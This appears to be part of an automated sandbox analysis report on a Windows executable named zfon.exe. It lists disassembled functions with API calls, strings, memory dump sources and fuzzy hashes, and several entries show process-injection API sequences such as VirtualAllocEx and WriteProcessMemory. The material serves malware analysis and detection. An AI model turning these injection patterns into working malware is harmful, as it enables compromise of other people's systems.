Opcode Fuzzy Hash: c82f8f9ad4e2d2af623f2a64a55ac3353b2c765cd361e64e07e7ab3c08dd46ed
Instruction Fuzzy Hash: 74E03226A19B82A2EE409F1AF5883682360FF08BD4F882034DB0E03B50DF3CE4A48300

Function 00007FF8B90ECCD0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

_Getdays.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF8B90ECCDD

Part of subcall function 00007FF8B90EB690: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF8B90F84D4), ref: 00007FF8B90EB6B2
Part of subcall function 00007FF8B90EB690: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF8B90F84D4), ref: 00007FF8B90EB6D8
Part of subcall function 00007FF8B90EB690: memcpy.VCRUNTIME140(?,?,?,00007FF8B90F84D4), ref: 00007FF8B90EB6F0

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90ECCFA

Strings

:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday, xrefs: 00007FF8B90ECD05

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: free$Getdaysmallocmemcpy
String ID: :Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday
API String ID: 1347072587-3283725177
Opcode ID: 4369f42fca7dce3118de04e163d293b9be384bdf3f2632a8f01c906decda58a8
Instruction ID: 1be3f2788db27d614da4953796360cf77b224dc8655593cf6aabe20b77ff123c
Opcode Fuzzy Hash: 4369f42fca7dce3118de04e163d293b9be384bdf3f2632a8f01c906decda58a8
Instruction Fuzzy Hash: A1E0C922A18B82A2EE049F1AF5453A96361EF48BC0F888434DB2D46755EF3CE4A4C300

Function 00007FF8B90ECD40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

_Getmonths.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF8B90ECD4D

Part of subcall function 00007FF8B90EB690: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF8B90F84D4), ref: 00007FF8B90EB6B2
Part of subcall function 00007FF8B90EB690: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF8B90F84D4), ref: 00007FF8B90EB6D8
Part of subcall function 00007FF8B90EB690: memcpy.VCRUNTIME140(?,?,?,00007FF8B90F84D4), ref: 00007FF8B90EB6F0

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90ECD6A

Strings

:Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:December, xrefs: 00007FF8B90ECD75

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: free$Getmonthsmallocmemcpy
String ID: :Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:December
API String ID: 1628830074-4232081075
Opcode ID: db95abb9d15dbef39e6ee0859203eea4f630d3aba3162c7ecd3a84709e9a22e3
Instruction ID: 767cf0326a54f3c4872c626ab141ffae7ecf344c2e8c24f08c4aacd82e87a3b1
Opcode Fuzzy Hash: db95abb9d15dbef39e6ee0859203eea4f630d3aba3162c7ecd3a84709e9a22e3
Instruction Fuzzy Hash: BEE0C921A18B82A2EE009F1AF5442696370EF58BD0F844435DB1D06795DF3CE5E5C340

Function 00007FF7F97A4CCC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 11COMMONLIBRARYCODE

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7F97A4CD5
_CxxThrowException.VCRUNTIME140 ref: 00007FF7F97A4CE6

Strings

Unknown exception, xrefs: 00007FF7F97A4CF1

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: ExceptionThrowstd::bad_alloc::bad_alloc
String ID: Unknown exception
API String ID: 932687459-410509341
Opcode ID: bc4d1c003b6ff2fe4e2c4e9266720bee0507f32f91a828decfd6544b21c815df
Instruction ID: 33ef33fa99a0d901c00a695fea8fba57d503c3f8bfcef742c5bd201dd5733619
Opcode Fuzzy Hash: bc4d1c003b6ff2fe4e2c4e9266720bee0507f32f91a828decfd6544b21c815df
Instruction Fuzzy Hash: 9FD01722A29A8691EF10EF04DC813A8E330FB94348FD45432D16C825B9EF6DDA56C3A0

Function 00007FF8BFAD3464 Relevance: 5.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF8BFAD3325,?,?,?,?,00007FF8BFAD41CA,?,?,?,?,?), ref: 00007FF8BFAD3483
SetLastError.KERNEL32(?,?,?,00007FF8BFAD3325,?,?,?,?,00007FF8BFAD41CA,?,?,?,?,?), ref: 00007FF8BFAD350B

Memory Dump Source

Source File: 00000005.00000002.2549530455.00007FF8BFAD1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8BFAD0000, based on PE: true

Associated: 00000005.00000002.2549435771.00007FF8BFAD0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.2549570951.00007FF8BFAD5000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.2549677238.00007FF8BFAD8000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.2549715751.00007FF8BFAD9000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfad0000_zfon.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 868a6d6a1edc03e792c9974cc9c9f69a97d5c8a62993b42da19d3e438dcd092c
Instruction ID: 6e23da31541fa1c5309176efc7d8b00789d56b685ff5d0457bd8d56831bd4bf7
Opcode Fuzzy Hash: 868a6d6a1edc03e792c9974cc9c9f69a97d5c8a62993b42da19d3e438dcd092c
Instruction Fuzzy Hash: 65117568E0970787FA3CA7ADA8021386755AF447E9F14A674DB2E473D4DE3CF4518700

Function 00007FF8BFB56E64 Relevance: 5.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF8BFB56CE9,?,?,?,?,00007FF8BFB605B2,?,?,?,?,?), ref: 00007FF8BFB56E83
SetLastError.KERNEL32(?,?,?,00007FF8BFB56CE9,?,?,?,?,00007FF8BFB605B2,?,?,?,?,?), ref: 00007FF8BFB56F0C

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 29fbcb28d85caf8942357daff49778de6b87ab13b42ab574bfe6367f35ca65f9
Instruction ID: 48fd67f93faa6d6a3d199ab5748549f4bb91a93093c5a15e19bf58d72bd2ecb8
Opcode Fuzzy Hash: 29fbcb28d85caf8942357daff49778de6b87ab13b42ab574bfe6367f35ca65f9
Instruction Fuzzy Hash: 1E117F20F1E74792FA119BADA8641347392AF487E0F184638DB2E073D5DE3CF841C610

Function 00007FF8B91109C0 Relevance: 5.0, APIs: 4, Instructions: 27COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B91109DD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B91109E7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B91109F1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B91109FB

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 21e29c9922f19bdda75fb578db1eebbd38709f35706a816a21095b56aee0f4f3
Instruction ID: 11113d1c6687d6315d471f8ca99ecb26f6db8220d6f80e47674e1a0263757f19
Opcode Fuzzy Hash: 21e29c9922f19bdda75fb578db1eebbd38709f35706a816a21095b56aee0f4f3
Instruction Fuzzy Hash: 88F0E726B58B82A2EB44AF1AF9942682334FB88BD0B544471CB4E43B70DF3CE4A59300

Function 00007FF8B90FE660 Relevance: 5.0, APIs: 4, Instructions: 27COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90FE67D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90FE687
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90FE691
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90FE69B

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2301427b651c3a47193e5a8d6ad951242187ad620a5bd31deb8cfb3ac87ac41d
Instruction ID: 89392b1d4d9deb7f04fdc116e5588abeb52be545ff266be0e380937833636288
Opcode Fuzzy Hash: 2301427b651c3a47193e5a8d6ad951242187ad620a5bd31deb8cfb3ac87ac41d
Instruction Fuzzy Hash: C5F0E726B58B82A2EB44AF1AF9942682330FB88FD0F544471CB4D43B70DF2CE4A59300

Function 00007FF8B90FE6D0 Relevance: 5.0, APIs: 4, Instructions: 27COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90FE6ED
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90FE6F7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90FE701
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90FE70B

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 1505eafe45e457f4db7c5ee298ec8fe61a246f9253c397c6ee0353011936a2de
Instruction ID: edefc2c7c387e2af68a692bdf5cf12e7550f99ceb3fc66b6c556616258980fec
Opcode Fuzzy Hash: 1505eafe45e457f4db7c5ee298ec8fe61a246f9253c397c6ee0353011936a2de
Instruction Fuzzy Hash: 18F09726B5DB82A2EB44AF1AF9942782375FB88BD0F544471DB4D43B74DF2CE4A59300

Analysis Process: zfon.exePID: 2000, Parent PID: 6208COMMON

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	16.2%
Total number of Nodes:	345
Total number of Limit Nodes:	45

Executed Functions

Function 00007FF7F9818AD3 Relevance: 14.7, APIs: 7, Strings: 1, Instructions: 682nativememoryCOMMON

Download Yara Rule

APIs

NtCreateSection.NTDLL ref: 00007FF7F9818BA0
NtMapViewOfSection.NTDLL ref: 00007FF7F9818C8B
VirtualAlloc.KERNELBASE ref: 00007FF7F98190B6
NtUnmapViewOfSection.NTDLL ref: 00007FF7F981915C
NtMapViewOfSection.NTDLL ref: 00007FF7F98191C8
VirtualProtect.KERNELBASE ref: 00007FF7F98191EF
VirtualProtect.KERNELBASE ref: 00007FF7F98192C3

Strings

@, xrefs: 00007FF7F9818B8E

Memory Dump Source

Source File: 00000006.00000002.2606324920.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000006.00000002.2606008536.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2606835994.00007FF7F981B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2606835994.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2607973026.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608127384.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608223601.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608300064.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608364168.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7f96e0000_zfon.jbxd

Yara matches

Similarity

API ID: Section$ViewVirtual$Protect$AllocCreateUnmap
String ID: @
API String ID: 814226357-2766056989
Opcode ID: 537dcba744a9e5ab819796c1abf8ff142b8021ff1599a3d2e9f8c20dbb037682
Instruction ID: 28b16e948e1d79fc0bc33cee952a52bcf7c8114267e3dcb8e24a56d3f6839862
Opcode Fuzzy Hash: 537dcba744a9e5ab819796c1abf8ff142b8021ff1599a3d2e9f8c20dbb037682
Instruction Fuzzy Hash: AF62DD32A14A81C7EB64DF25E8406AEB3B5FB48BA8F804135DB5D47B88DF39E590C750

Function 000002DC4BE54830 Relevance: 5.1, APIs: 3, Instructions: 649
memoryinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE ref: 000002DC4BE549C6
WriteProcessMemory.KERNELBASE ref: 000002DC4BE54C4D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000002DC4BE54EFD

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: AllocMemoryProcessVirtualWrite_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2518834501-0
Opcode ID: 3929f3d7caecdf5a166518e108926a526826c599736ea3d0cce582099cd9f6e0
Instruction ID: c98c814a20aa542ab351b587ffa1179137c7f71353b7f1e7b1708247f6756664
Opcode Fuzzy Hash: 3929f3d7caecdf5a166518e108926a526826c599736ea3d0cce582099cd9f6e0
Instruction Fuzzy Hash: B1227034514A4E8FEB95EF68C4A97EAB3E2FB98300F50465AE44EC3192DF749D80C742

Function 000002DC4BE45890 Relevance: 4.6, APIs: 3, Instructions: 115
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 000002DC4BE458C3
Process32FirstW.KERNEL32 ref: 000002DC4BE458E2
CloseHandle.KERNELBASE ref: 000002DC4BE4599A

Part of subcall function 000002DC4BE9CC90: _invalid_parameter_noinfo.LIBCMT ref: 000002DC4BE9CCAD

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32_invalid_parameter_noinfo
String ID:
API String ID: 3417858151-0
Opcode ID: 58fc19107ec0e66d273cc40dc8bc3f342268e8061c34a6a0b169b5af377fc60a
Instruction ID: 9bdf5e2f6eec8967736945abf0ac61dd4cbc761a384dad1a0b8031a7360dc7d7
Opcode Fuzzy Hash: 58fc19107ec0e66d273cc40dc8bc3f342268e8061c34a6a0b169b5af377fc60a
Instruction Fuzzy Hash: 66415374508B598FE794EF28D49875AB7E2FB98310F5046AAE40DC7296DB34CC44CB82

Function 000002DC4BE42030 Relevance: 3.2, APIs: 2, Instructions: 202
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQueryInformationProcess.NTDLL ref: 000002DC4BE42102

Part of subcall function 000002DC4BE41510: __std_exception_copy.LIBVCRUNTIME ref: 000002DC4BE41558

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000002DC4BE421CB

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: InformationProcessQuery__std_exception_copy_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2261429478-0
Opcode ID: c26532dd56cd671d0a1b3ad32ebf9ddf33ffb71fd6066d7300b13c4462bb992f
Instruction ID: 53d281e224da8aba560b543999a597d32f44e1eb2c70ff81d9289342420a55c2
Opcode Fuzzy Hash: c26532dd56cd671d0a1b3ad32ebf9ddf33ffb71fd6066d7300b13c4462bb992f
Instruction Fuzzy Hash: E3517930624E494FDB58EF2CD499B6AB7D2FB95310F60461FE04AC3296DA71AC85C783

Function 00007FF7F98182C7 Relevance: 2.8, APIs: 2, Instructions: 260
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 00007FF7F9818339
VirtualAlloc.KERNELBASE ref: 00007FF7F981852D

Memory Dump Source

Source File: 00000006.00000002.2606324920.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000006.00000002.2606008536.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2606835994.00007FF7F981B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2606835994.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2607973026.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608127384.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608223601.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608300064.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608364168.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7f96e0000_zfon.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 5d17924f1650dce35aa6cfa67234e302229330514130ed1fd0e34ce5b20ef98f
Instruction ID: 3b5bb721b5dcca3fad783427ff3c65d7826403b61e1627fbf4fabd92c5b05cc8
Opcode Fuzzy Hash: 5d17924f1650dce35aa6cfa67234e302229330514130ed1fd0e34ce5b20ef98f
Instruction Fuzzy Hash: 71B1B521B28542C2EB6CEE21D9456BDA3B1FB44BA4F844135DE2D476C9DF3CE4A1C7A0

Function 000002DC4BE41835 Relevance: 9.4, APIs: 6, Instructions: 393
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 000002DC4BE41842
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000002DC4BE41BC6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000002DC4BE41BCC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000002DC4BE41BD2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000002DC4BE41BD8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000002DC4BE41BDE

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseHandle
String ID:
API String ID: 4069755476-0
Opcode ID: 52794ae43ef133f375a4d7fa53b1f961356637d67dbba59633ce44484efc1cfd
Instruction ID: aa72cd42bc3cbba31a93ca252c4261053a2febf6a4f14548ccbedda04c6865e5
Opcode Fuzzy Hash: 52794ae43ef133f375a4d7fa53b1f961356637d67dbba59633ce44484efc1cfd
Instruction Fuzzy Hash: 18C1DB34618E1E8FDF64EF28C498B9AB7D2FBD8310F644A0AD04AC7295DA75DC85C742

Function 00007FF7F9819ADF Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00007FF7F9819BAD

Strings

l, xrefs: 00007FF7F9819B46

Memory Dump Source

Source File: 00000006.00000002.2606324920.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000006.00000002.2606008536.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2606835994.00007FF7F981B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2606835994.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2607973026.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608127384.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608223601.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608300064.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2608364168.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7f96e0000_zfon.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: l
API String ID: 1029625771-2517025534
Opcode ID: 1d083b3de9a9ed48a996e456de89af2bb64d5134e63aa677a92d7ef34e970a50
Instruction ID: fcbc9adab92d3621250cbe816dc2ca8ae3e3c141a7004ed5b328f5b5596f4f2f
Opcode Fuzzy Hash: 1d083b3de9a9ed48a996e456de89af2bb64d5134e63aa677a92d7ef34e970a50
Instruction Fuzzy Hash: C321DD22A2C6D5C6EB519F24F444329ABA0F759BD8F581375CF9E07B98CB2DD0A48720

Function 000002DC4BE41630 Relevance: 1.7, APIs: 1, Instructions: 192
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000002DC4BE42030: NtQueryInformationProcess.NTDLL ref: 000002DC4BE42102

DuplicateHandle.KERNELBASE ref: 000002DC4BE417A2

Memory Dump Source

Source File: 00000006.00000002.2604169993.000002DC4BE41000.00000020.10000000.00040000.00000000.sdmp, Offset: 000002DC4BE41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dc4be41000_zfon.jbxd

Similarity

API ID: DuplicateHandleInformationProcessQuery
String ID:
API String ID: 1431398230-0
Opcode ID: 8892a3de4c354403ffd96d30362b0f6fa85d71dbda6d833dead5add144ef140a
Instruction ID: bfb34021917273949c0546f53a0d9a2eeee6352c4847f242639a2189c2c1e023
Opcode Fuzzy Hash: 8892a3de4c354403ffd96d30362b0f6fa85d71dbda6d833dead5add144ef140a
Instruction Fuzzy Hash: AF51B53091CB588FDB58EF1CD8846A6B7E1FBA9310F104A5EF489C7256DB709884CB82

Function 000002DC4BE55F40 Relevance: 1.6, APIs: 1, Instructions: 57
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE ref: 000002DC4BE55FA2

Memory Dump Source

